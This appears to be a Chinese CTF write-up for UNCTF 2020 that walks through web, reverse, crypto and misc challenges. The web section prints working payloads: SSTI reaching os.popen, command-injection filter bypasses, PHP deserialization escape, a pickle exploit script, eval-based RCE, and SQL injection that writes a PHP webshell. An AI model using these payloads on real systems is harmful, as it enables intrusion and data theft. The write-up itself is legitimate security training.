最后几天都没登进去。。。这验证码河里 🐎
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? php
echo '<center><strong>welc0me to 2020UNCTF!!</strong></center>' ;
highlight_file ( __FILE__ );
$url = $_GET [ 'url' ];
if ( preg_match ( '/unctf\.com/' , $url )){
if ( ! preg_match ( '/php|file|zip|bzip|zlib|base|data/i' , $url )){
$url = file_get_contents ( $url );
echo ( $url );
} else {
echo ( 'error!!' );
}
} else {
echo ( "error" );
}
?>
复制
本来以为是利用bypass技巧达到php伪协议嵌套一层unctf.com的,但是bypass不了,僵了好久。。。
后来突然想到之前做过一个利用file_get_contents会将不存在的协议名作为目录
实现目录穿越 ,结果就成了,也是个hanhan,这么久才想出来。
payload
1
? url = unctf . com ../../../../../ flag
复制
整个页面就一行a easy flask problem,first login as the admin
,其他啥都没有,一开始我还以为是传统的GET传name=admin,结果不行。。。
由于比赛通知中没有说不能扫目录,就扫一下,果然扫到了/login
和/register
两个路由,注册admin帐号,抓包解密session ,解密出来也没有什么特别的地方。
突然一个手抖回到了/
路由,回显admin login success and check the secret route /secret_route_you_do_not_know
,访问返回you should 'guess' the secret number
(不归路从这里开始)
GET传guess猜数字,直接开burp硬撸,撸不出来。
然后发现当我们注册一个非admin用户的时候,我们登录再回到根目录路由,此时源码处会出现hint:
1
< p > the length of secret key is no more than 4 and the secret key are all lowercase letters and digits</ p >
复制
我本来还沾沾自喜,藏得挺深啊。然后就是一下午的爆破之路,一百多万的爆破量,愣是爆破不出来,绝了。
后来看着回显突然想到SSTI(我真TM是个hanhan),一试{{config}}
,果然。。。。
测了一下,过滤了'"[]_
,上payload:
1
{{() | attr ( request . args . x1 ) | attr ( request . args . x2 ) | attr ( request . args . x3 )() | attr ( request . args . x4 )( 166 ) | attr ( request . args . x5 ) | attr ( request . args . x6 ) | attr ( request . args . x4 )( request . args . x7 ) | attr ( request . args . x4 )( request . args . x8 )( request . args . x9 )}} & x1 = __class__ & x2 = __base__ & x3 = __subclasses__ & x4 = __getitem__ & x5 = __init__ & x6 = __globals__ & x7 = __builtins__ & x8 = eval & x9 = __import__ ( 'os' ) . popen ( 'cat flag.txt' ) . read ()
复制
就一个模板注入,搞了这么多幺蛾子,要是不给那个非admin用户的hint,我说不定不会执着于去爆破。。。
提示1:if(!(is_file($name)===false)){flag}else{no flag}
开局描述:
任务描述:我会查看你提交文件位置是否存在,如果你给我了一个存在的文件名,我就给你flag,注意:这个文件夹中只有两个文件,一个是保存flag的文件,另一个是index.php
这里ban了斜杠,所以应该只能猜当前目录下的文件,emmm,猜不出来,直接数组绕过 判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? php
// flag在flag.php
if ( isset ( $_GET [ 'a' ])){
if ( preg_match ( '/\(.*\)/' , $_GET [ 'a' ]))
die ( 'hacker!!!' );
ob_start ( function ( $data ){
if ( strpos ( $data , 'flag' ) !== false )
return 'ByeBye hacker' ;
return false ;
});
eval ( $_GET [ 'a' ]);
} else {
highlight_file ( __FILE__ );
}
?>
复制
ob_start介绍:
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
因此,这里的waf并不是过滤flag字符串,而是输出中不能含有flag字段。
于是使用
1
? a = echo `cat flag.php` ;
复制
但是还是回显ByeBye hacker
,说明文件内容也存在flag字段,那么
1
? a = echo `cat flag.php|base64` ;
复制
得到内容的base64编码内容,解码获得flag。(PS:就算这里过滤了flag字段我们也可以通过通配符 去读取flag.php文件)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<? php
error_reporting ( 0 );
highlight_file ( __FILE__ );
class a
{
public $uname ;
public $password ;
public function __construct ( $uname , $password )
{
$this -> uname = $uname ;
$this -> password = $password ;
}
public function __wakeup ()
{
if ( $this -> password === 'easy' )
{
include ( 'flag.php' );
echo $flag ;
}
else
{
echo 'wrong password' ;
}
}
}
function filter ( $string ){
return str_replace ( 'challenge' , 'easychallenge' , $string );
}
$uname = $_GET [ 1 ];
$password = 1 ;
$ser = filter ( serialize ( new a ( $uname , $password )));
$test = unserialize ( $ser );
?>
复制
filter函数导致的反序列化字符逃逸 实现password值覆盖。
payload
1
? 1 = challengechallengechallengechallengechallengechallengechallengechallenge ";s:8:" password ";s:4:" easy ";}}}}
复制
1
2
3
4
5
6
7
8
9
10
11
12
<? php
show_source ( __FILE__ );
$username = "admin" ;
$password = "password" ;
include ( "flag.php" );
$data = isset ( $_POST [ 'data' ]) ? $_POST [ 'data' ] : "" ;
$data_unserialize = unserialize ( $data );
if ( $data_unserialize [ 'username' ] == $username && $data_unserialize [ 'password' ] == $password ){
echo $flag ;
} else {
echo "username or password error!" ;
}
复制
这题目。。。有点意思,按道理弱类型比较时数字0能够==任意以字母开头字符串 。但是由于一般传参时参数都会以字符串形式传递,因此这种弱类型基本不常见(反正我是没见过),而这里通过反序列化实现数字0的弱类型比较,这般操作实属罕见。
1
2
3
4
<? php
$data = array ( 'username' => 0 , 'password' => 0 );
echo serialize ( $data );
// a:2:{s:8:"username";i:0;s:8:"password";i:0;}
复制
文件内容过滤:
perl|pyth|ph|auto|curl|base||>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!
1
2
AddType application / x - httpd - p\
hp . she
复制
绕过waf,然后上传后缀为she
得文件,文件内容由于ph字符的过滤,我选择短标签<?=
:
1
<?= eval ( $_POST [ 'cmd' ]);
复制
蚁剑连接即可(Content-Type不要忘了改)
咋回事?改题了?原来不是要先登陆吗,怎么变成ping了?
?url=127.0.0.1||less<index.php
读源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? php
if ( isset ( $_GET [ 'url' ])){
$ip = $_GET [ 'url' ];
if ( preg_match ( "/(;|'| |>|]|&| | \\ $| \\ |rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i" , $ip )){
die ( "<strong><center>非法字符</center></strong>" );
}
if ( preg_match ( "/.*f.*l.*a.*g.*/" , $ip )){
die ( "<strong><center>非法字符</center></strong>" );
}
$a = shell_exec ( "ping -c 4 " . $ip );
echo ( $a );
} else {
echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>" ;
}
?>
复制
payload
1
2
127.0.0.1|| ls%09/ # 列目录
127.0.0.1|| /bin/ca?%09/f??? # 调用/bin目录下的cat命令读取/flag
复制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from flask import Flask , render_template , redirect , request , session , make_response
import config
import pickle
import io
import sys
import base64
class Person :
def __init__ ( self , name , is_admin ):
self . name = name
self . is_admin = is_admin
class RestrictedUnpickler ( pickle . Unpickler ):
def find_class ( self , module , name ):
if module == '__main__' :
return getattr ( sys . modules [ '__main__' ], name )
raise pickle . UnpicklingError ( "global ' %s . %s ' is forbidden" % ( module , name ))
def restricted_loads ( s ):
return RestrictedUnpickler ( io . BytesIO ( s )) . load ()
app = Flask ( __name__ )
flag = "xxx"
@app.route ( "/" )
def index ():
app . config [ "SECRET_KEY" ] = config . secret_key
return redirect ( "login" )
@app.route ( "/login" , methods = [ "GET" , "POST" ])
def login ():
if request . form . get ( 'name' ):
name = request . form . get ( 'name' )
person = Person ( name , 0 )
pkl = pickle . dumps ( person )
pkl = base64 . b64encode ( pkl )
resp = make_response ( name )
resp . set_cookie ( 'pkl' , pkl )
session [ 'name' ] = name
session [ 'is_admin' ] = 0
return resp
else :
if session . get ( 'name' ):
if b 'R' in base64 . b64decode ( request . cookies [ 'pkl' ]):
return "RCE??"
person = pickle . loads ( base64 . b64decode ( request . cookies [ 'pkl' ]))
print ( person . is_admin )
if session . get ( 'is_admin' ) == 1 :
#person = pickle.loads(base64.b64decode(request.cookies['pkl']))
if person . is_admin == 1 :
return "HHHacker!Here is Your flag : " + flag
return render_template ( "index.html" , name = session . get ( 'name' ))
else :
return render_template ( "login.html" )
@app.route ( "/logout" , methods = [ "GET" , "POST" ])
def logout ():
resp = make_response ( "success" )
resp . delete_cookie ( "session" )
resp . delete_cookie ( "pkl" )
return resp
@app.route ( "/source" )
def source ():
return open ( 'code.txt' , 'r' ) . read ()
if __name__ == "__main__" :
app . run ( host = "0.0.0.0" , port = 5000 , debug = True )
复制
此题情况如从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 文章描述一致:通过重写find_class函数实现模块限制 ,那我们同样可以通过文章介绍的方法来完成:绕过c指令module限制:先读入,再篡改
原理在文章中也有叙说:
通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!
因此我们可以通过c操作符 (即GLOBAL指令)覆盖secret_key
和is_admin
的值,通过条件判断拿到flag。
理想中的解法:
本来这种题目是可以通过pker 工具完成的,根据下面的文件内容生成0号协议的payload
1
2
3
4
secret = GLOBAL ( '__main__' , 'config' )
secret . secret_key = 'tyskill'
person = INST ( '__main__' , 'Person' , 'tyskill' , 1 )
return person
复制
然后通过命令python3 pker.py < text
生成修改栈值的payload,但是发现不可用(咱也不知道,咱也不敢问)。
官方wp说0号协议不能用,需要3号协议 ,pker不能用了,就只能自己构造了。参考文章pickle反序列化初探 里面介绍的opcode操作符尝试构造。
除此之外,我们可以根据从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 里面的一个payloadb'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
进行修改,改出来的payload:
1
\x80 \x03c__main__ \nconfig \n }( Vsecret_key \nVtyskill \nub0c__main__ \nPerson \n ) \x81 }( X \x04 \x00 \x00 \x00nameX \x07 \x00 \x00 \x00tyskillX \x08 \x00 \x00 \x00is_adminK \x01ub .
复制
但是这个payload感觉不太好理解,主要是后面实例化Person的那部分构造起来可能不适合我这个fw(主要是不知道为什么删掉q\x00
这个部分)。
构造过程一共可以分为两步:
创建空字典config
,存入{'secret_key':'tyskill'}
键值对
实例化Person类
第一步添加字典的过程就按照那个payload构造;
第二步实例化Person可以通过直接本地输出三号协议的序列化数据:\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00tyskillq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.
然后拼起来(拼接方式在pickle反序列化初探 中也有介绍),最终payload:
1
\x80 \x03c__main__ \nconfig \n }( Vsecret_key \nVtyskill \nub0c__main__ \nPerson \nq \x00 ) \x81q \x01 } q \x02 ( X \x04 \x00 \x00 \x00nameq \x03X \x07 \x00 \x00 \x00tyskillq \x04X \x08 \x00 \x00 \x00is_adminq \x05K \x01ub .
复制
然后先将pkl的值替换为我们生成的字符串,session不要动,因为此时secret_key还没有被修改,传了构造的session也没用。回到根目录 ,因为根目录会执行
1
app . config [ "SECRET_KEY" ] = config . secret_key
复制
将我们自定义的secret_key取代原先的值,这时我们就可以将构造的session和pkl一同用来访问/login路由,拿到flag。
exp(改自官方wp)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests , base64
pkl = b ' \x80\x03 c__main__ \n config \n }(Vsecret_key \n Vtyskill \n ub0c__main__ \n Person \n q \x00 ) \x81 q \x01 }q \x02 (X \x04\x00\x00\x00 nameq \x03 X \x07\x00\x00\x00 tyskillq \x04 X \x08\x00\x00\x00 is_adminq \x05 K \x01 ub.'
pkl = base64 . b64encode ( pkl ) . decode ()
url = "http://8c4fa0fb-937d-49e9-b226-973a267de28f.node1.hackingfor.fun/"
#正常的cookie值
headers1 = {
"Cookie" : "pkl= {} ; session=eyJpc19hZG1pbiI6MCwibmFtZSI6InR5c2tpbGwifQ.X7YrXQ.FSuQAHZNRkMkkvCSCLGzkUJ8qYc" . format ( pkl )
}
#只修改了pkl的cookie值
headers2 = {
"Cookie" : "pkl= {} ;session=eyJpc19hZG1pbiI6MCwibmFtZSI6InR5c2tpbGwifQ.X7YrXQ.FSuQAHZNRkMkkvCSCLGzkUJ8qYc" . format ( pkl )
}
#同时伪造了pkl和session的cookie
headers3 = {
"Cookie" : "pkl= {} ;session=eyJpc19hZG1pbiI6MSwibmFtZSI6InR5c2tpbGwifQ.X7YqBw.qyZMFKWzpS9eqQc4C6MaAdAHd1Q" . format ( pkl )
}
data = {
"name" : "tyskill"
}
requests . post ( url = url + "login" , data = data )
requests . get ( url = url + "login" , headers = headers1 ) # 创建用户身份,保证cookie可用
requests . get ( url = url + "login" , headers = headers2 )
requests . get ( url ) #访问根目录,重设 SECRET_KEY
ans = requests . get ( url = url + "login" , headers = headers3 )
print ( ans . text )
复制
F12翻到最后有一串base85加密的字符串<!-- B4Z0-@:OCnDf, -->
,在线网站 解密得get action
。
很明显,是要GET传参action,此时看到主页的Hint:读源码 ,伪协议直接读
1
2
3
? action = php :// filter / string . rot13 / resource = flag . php
# 官方
? action = php :// filter / convert . quoted - printable - encode / resource = flag . php
复制
读出来的在线网站解一下rot13就行。
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<? php
error_reporting ( 0 );
$action = $_GET [ 'action' ];
if ( isset ( $action ))
{
if ( preg_match ( "/base|data|input|zip|zlib/i" , $action )){
echo "<script>alert('Hacker!!!')</script>" ;
}
else {
include ( " $action " );
}
}
else
{
include ( "footer.php" );
}
?>
复制
flag.php
1
2
3
4
<? php
$flag = "unctf{7his_is_@_f4ke_f1a9}" ;
//hint:316E4433782E706870
?>
复制
将hint十六进制解密得到1nD3x.php
,访问
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<? php
error_reporting ( 0 );
show_source ( __FILE__ );
$code = $_REQUEST [ 'code' ];
$_ = array ( '@' , '\~' , '\^' , '\&' , '\?' , '\<' , '\>' , '\*' , '\`' , '\+' , '\-' , '\'' , '\"' , '\\\\' , '\/' );
$__ = array ( 'eval' , 'system' , 'exec' , 'shell_exec' , 'assert' , 'passthru' , 'array_map' , 'ob_start' , 'create_function' , 'call_user_func' , 'call_user_func_array' , 'array_filter' , 'proc_open' );
$blacklist1 = array_merge ( $_ );
$blacklist2 = array_merge ( $__ );
if ( strlen ( $code ) > 16 ){
die ( 'Too long' );
}
foreach ( $blacklist1 as $blacklisted ) {
if ( preg_match ( '/' . $blacklisted . '/m' , $code )) {
die ( 'WTF???' );
}
}
foreach ( $blacklist2 as $blackitem ) {
if ( preg_match ( '/' . $blackitem . '/im' , $code )) {
die ( 'Sry,try again' );
}
}
@ eval ( $code );
?>
复制
参考文章eval长度限制绕过 && PHP5.6新特性 ,姿势就来了。
phpinfo中发现远程文件包含开启,直接?code=include$_GET[1];&1=data://text/plain,<?php system('cat /f*');?>
一把梭。
预期解是利用变长参数特性展开数组 :
payload
1
2
GET : ? 1 [] = test & 1 [] = system ( 'ls' ) & 2 = assert
POST : code = usort ( ... $_GET );
复制
自问自答:
为什么使用usort这个函数?
其他函数太长了,很容易就超出16的长度限制。
为什么usort(...$_GET)
有三个点,是什么作用?
PHP函数usort是咋回事?还能当后门? 文章中写道:
...
运算符可以将数组或者可遍历的对象展开变为参数
不过必须是索引数组 哦~~~
提示1:/?source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<? php
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab' ;
if ( ! function_exists ( 'fuxkSQL' )) {
function fuxkSQL ( $iText )
{
$oText = $iText ;
$oText = str_replace ( '\\\\' , '\\' , $oText );
$oText = str_replace ( '\"' , '"' , $oText );
$oText = str_replace ( "\'" , "'" , $oText );
$oText = str_replace ( "'" , "''" , $oText );
return $oText ;
}
}
if ( ! function_exists ( 'getVars' )) {
function getVars ()
{
$totals = array_merge ( $_GET , $_POST );
if ( count ( $_GET )) {
foreach ( $_GET as $key => $value ) {
global ${$key} ; // 变量覆盖
if ( is_array ( $value )) {
$temp_array = array ();
foreach ( $value as $key2 => $value2 ) {
if ( function_exists ( 'mysql_real_escape_string' )) {
$temp_array [ $key2 ] = fuxkSQL ( trim ( $value2 ));
} else {
$temp_array [ $key2 ] = str_replace ( '"' , '\"' , str_replace ( "'" , "\'" , ( trim ( $value2 ))));
}
}
${$key} = $_GET [ $key ] = $temp_array ;
} else {
if ( function_exists ( 'mysql_real_escape_string' )) {
${$key} = fuxkSQL ( trim ( $value ));
} else {
${$key} = $_GET [ $key ] = str_replace ( '"' , '\"' , str_replace ( "'" , "\'" , ( trim ( $value ))));
}
}
}
}
}
}
getVars ();
if ( isset ( $source )) {
highlight_file ( __FILE__ );
}
//只有admin才能设置环境变量
if ( md5 ( $password ) === $adminPassword && sha1 ( $verif ) == $verif ) {
echo 'you can set config variables!!' . '</br>' ;
foreach ( array_keys ( $GLOBALS ) as $key ) {
if ( preg_match ( '/var\d{1,2}/' , $key ) && strlen ( $GLOBALS [ $key ]) < 12 ) {
@ eval ( " \$ $key " . '="' . $GLOBALS [ $key ] . '";' );
}
}
} else {
foreach ( array_keys ( $GLOBALS ) as $key ) {
if ( preg_match ( '/var\d{1,2}/' , $key )) {
echo ( $GLOBALS [ $key ]) . '</br>' ;
}
}
}
复制
d8b8caf4df69a81f2815pbcb74cd73ab
一看就不是md5,所以正常来说md5($password) === $adminPassword
永远不可能实现,但是函数内部使用了global关键词 :
global 关键词用于在函数内访问全局变量。
此关键词让$key的作用域从函数内部扩大到了函数外,以至于我们可以传递$adminPassword
实现变量覆盖,这样md5的等于就简单许多了。
接下来是sha1爆破 ,脚本如下:
1
2
3
4
5
6
7
8
9
<? php
for ( $i = 0 ; $i <= 99999999999 ; $i ++ ){
$x1 = hash ( "sha1" , '0e' . $i );
if ( substr ( $x1 , 0 , 2 ) === '0e' and is_numeric ( $x1 )){
echo '0e' . $i ; // 0e1290633704
break ;
}
}
?>
复制
payload
1
? adminPassword = c4ca4238a0b923820dcc509a6f75849b & password = 1 & verif = 0e1290633704 & source
复制
1
2
3
4
5
foreach ( array_keys ( $GLOBALS ) as $key ) {
if ( preg_match ( '/var\d{1,2}/' , $key ) && strlen ( $GLOBALS [ $key ]) < 12 ) {
@ eval ( " \$ $key " . '="' . $GLOBALS [ $key ] . '";' );
}
}
复制
从条件判断中我们可以知道传参的变量名需要满足/var\d{1,2}/
的条件,即var后加一到两个数字 ,且传递值的长度需要小于12。
由于前面函数的处理,我们无法传递引号闭合eval,需要使用别的方法。发现$key
变量前加了\$
,我们可以通过这个$配合php的变量定界符${}
实现命令执行。
因为直接${$a}
中$a只是一个变量,不会拥有函数的功能,实现这个功能需要$a()
的结构,所以这里需要上传两个参数,分别负责函数名 和调用函数 。
payload
1
? adminPassword = c4ca4238a0b923820dcc509a6f75849b & password = 1 & verif = 0e1290633704 & var1 = phpinfo & var2 = { $var1 ()} & source
复制
提示1:flag不在数据库中。。
waf:
. | select | updatexml | sleep | if | alter | rename | where | update | insert | delete | load_file以及一些不会有明确回显hacker的关键字
堆叠。。。为什么我比赛的时候没有回显?
1';show databases;#
得到数据库
1';show tables;#
得到表
0xDktb words
1';show columns from 0xDktb;#
发现flag字段,1';prepare execsql from 0x73656c656374202a2066726f6d20603078446b746260;execute execsql;#
读取获得
flag{flag_1s_not_here!}
假flag,结合hint,判断flag是目录文件,直接写shell:
1
2
// select "<?php @eval($_POST['cmd'])?>" into outfile '/var/www/html/eval.php'
1 ';prepare execsql from 0x73656c65637420223c3f70687020406576616c28245f504f53545b27636d64275d293f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f6576616c2e70687027;execute execsql;#
复制
蚁剑连接,根目录下找到flag。
题目描述:wasm
源码发现hint
1
2
3
4
5
6
7
8
9
10
<!--简易操作说明
上下左右
Z 换方向
懂得都懂
不懂的群里阿巴阿巴
分数到了999还是9999还是99999来着就有flag,具体我也忘记了,反正自己玩吧!!!
我觉得这次比赛最大的意义就在于能不能让选手学到新东西
玩的开心记得一键三连
-->
复制
玩了几把,最多才到九千六百多,玩不下去了(膜一下那位39万多分的带佬),转去看源码的js,发现一处信息泄露
1
2
3
4
5
6
7
8
9
10
window . addEventListener ( 'DOMContentLoaded' , async () => {
const go = new Go ();
const name = "blocks" ;
const curWwwPath = window . document . location . href ;
const pathName = window . document . location . pathname ;
const pos = curWwwPath . indexOf ( pathName );
const localhostPath = curWwwPath . substring ( 0 , pos );
let url = ` ${ localhostPath } / ${ name } .wasm.gz` ; // 信息泄露
...
});
复制
下载源码文件,是一个wasm后缀的文件
WebAssembly(缩写为Wasm)是基于堆栈的虚拟机的二进制指令格式。Wasm被设计为可编程C / C ++ / Rust等高级语言的可移植目标,可在Web上部署客户端和服务器应用程序。
感觉不妙,这道题不会是二进制题目吧?再看看其他js文件里面都没有关于游戏积分规则的内容,懂了,这就换方向。
在线反编译wasm2wat ,看不懂。使用文档中推荐的工具--wabt
1
./wasm2c blocks.wasm -o test.c
复制
参考一种Wasm逆向静态分析方法 ,我们可以先将反编译出的c文件使用gcc编译后ida分析,将之前反编译出来的test.c
,test.h
,以及wabt项目wasm2c文件夹内的wasm-rt.h
,wasm-rt-impl.c
,wasm-rt-impl.h
三个文件放到同一个文件夹,然后gcc编译
1
gcc -c test.c -o test.o
复制
逆向未果,终究是我错付了...
真的是二进制。。。告辞
下载wasm文件,记事本打开搜索flag字符串,找到
THIS IS YOUR FLAG :
0h0hy0ug4t1t.html
访问获得flag。
x64debug打开,找到flag(注意大小写)
1
python pyinstxtractor . py run . exe
复制
通过pyinstxtractor.py 获得拆解的pyc文件,然后使用uncompyle6 反编译run.pyc(反编译前修复一下字节码,照着struct.pyc的前八个字节码修改就行)。
1
uncompyle6 . exe run . pyc
复制
获得run.py
1
2
3
4
5
6
str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range ( len ( str2 )):
flag += chr ( ord ( str2 [ i ]) + i )
print ( flag )
复制
运行代码获得flag。
已知p、q、c,常见题型,直接脚本一把梭
1
2
3
4
5
6
7
8
9
10
import gmpy2
a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
p , q = ( a + b ) // 2 , ( a - b ) // 2
n = p * q
e = 65537
d = gmpy2 . invert ( e , ( p - 1 ) * ( q - 1 ))
m = pow ( c , d , n )
print ( bytes . fromhex ( hex ( m )[ 2 :]))
复制
低解密指数攻击,CTF-RSA 收集了解密脚本,脚本解出d之后直接m一把梭。
查看图片hex值,最后面发现一个视频地址https://www.bilibili.com/video/BV1y44111737 ,评论区找到flag。
题目描述:
RPG小游戏
爷把flag弄丢了, 你可以帮他找回来吗
开宝箱,打怪,买hint:
Hint1:爷经常在书房的花盆底下做奇奇怪怪的事
之前解出来的Morse,开左边地图的宝箱,得到屠龙刀,一刀999,是兄弟就来砍。
Hint2:rpgsave是什么文件
官方鼓励修改器 ??改金额,导出文件覆盖存档,进入游戏直接买Hint3出flag。
后缀改为zip,在xl/shareStrings.xml
找到base64加密字符,解密得到flag。
wireshark打开导出文件列表,发现有py
、pyc
和zip
文件,但是以php后缀上传,保存修改后缀。
py文件是加密脚本,pyc文件保存了密钥,zip中是保存加密flag的文件
(pyc无法通过反编译获取key,但可以通过分析数据包内容获得key)
加密脚本
1
2
3
4
5
6
7
8
9
10
11
12
#coding:utf-8
import base64
from secret import key
# key = YLBSB?YLBNB!
file = open ( "YLBSB.docx" , "rb" )
enc = open ( "YLBSB.xor" , "wb" )
plain = base64 . b64encode ( file . read ())
count = 0
for c in plain :
d = chr ( c ^ ord ( key [ count % len ( key )]))
enc . write ( d . encode ())
count = count + 1
复制
解密脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
key = 'YLBSB?YLBNB!'
file = open ( "YLBSB.xor" , "rb" ) . read ()
enc = open ( "YLBSB.docx" , "wb" )
count = 0
content = b ''
for d in file :
c = chr ( d ^ ord ( key [ count % len ( key )]))
content += c . encode ()
count += 1
enc . write ( base64 . b64decode ( content ))
file . close ()
enc . close ()
复制
也就吃个饭洗个澡打会游戏的功夫。。。
题目描述:我瞎了看不到flag了
将光标停在第一个字符前发现是第9列,说明这里存在隐写--零宽隐写 。
本来看这个题目名字就想到是零宽隐写的,但是存的解密网站屁反应没有,还以为不是。。。😓(这个隐写真迷,每个网站加密出来的都不一样,导致解密只能在对应网站解)
题目描述:flag格式为unctf{*****}
,******中的字母统一为大写
解题过程参考CTF流量分析常见题型(二)-USB流量
最后做出的图需要经过镜像翻转 ,然后记录flag。
在线网站 解拨号音,得到电话号码
15975384265
根据txt的提示# 电话号码就是压缩包密码
解开压缩包,通过audacity打开wav,切换到频谱,出现内容我是tupper
,搜索引擎查找tupper,在Tupper自我指涉公式生成器 文章中有详细说明。
在线网站Tupper's Self-Referential Formula Playground 解密,生成的图像再上下颠倒一下即为flag。
记事本打开,搜索flag字符串。
整段加密文字只有三种就这.
、就这¿
和不会吧!
,联想到0ok!,脚本替换,在线网站 解密。
直接QR Research扫出flag。
shadow文件 是linux系统中记载root密码的保密性文件,可以用 john (kali自带) 来破解。
1
.\ john . exe - -show shadow
复制
获得guguguguji密码
guguguguji:123456:18556:0:99999:7:::
123456
md5加密,外套unctf{}。
提示1:阿雷:Arecibo
提示2:30 80 7
转30*80图片
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image
width , height = 30 , 80
pic = Image . new ( "RGB" ,( width , height ))
with open ( 'open.txt' , 'r' ) as f :
char = f . read ()
print ( len ( char ))
i = 0
for y in range ( 0 , height ):
for x in range ( 0 , width ):
if ( char [ i ] == '0' ):
pic . putpixel ([ x , y ],( 0 , 0 , 0 ))
else :
pic . putpixel ([ x , y ],( 255 , 255 , 255 ))
i = i + 1
# pic.show()
pic . save ( "flag.jpg" )
复制
然后七进制将大括号内的符号转为字符串。
PS:图片上明明是大写UNCTF,提交时小写才对。。。
010打开,最后有一串base64字符,解密后发现从后向前看是zip的hex值,直接在线网站 倒序,保存为zip,然后纯数字爆破出密码(略脑洞),得到flag。
拼图题,使用自动化姿势(montage命令 +gaps )完成。
详细安装过程移步unctf2020 部分简单题题解
命令montage *.jpg -tile 15x15 -geometry +0+0 1.jpg
拼合图像,
gaps --image=1.jpg --generations=40 --population=225 --size=60 --save
还原图像。
unctf2020 部分简单题题解
UNCTF2020
官方wp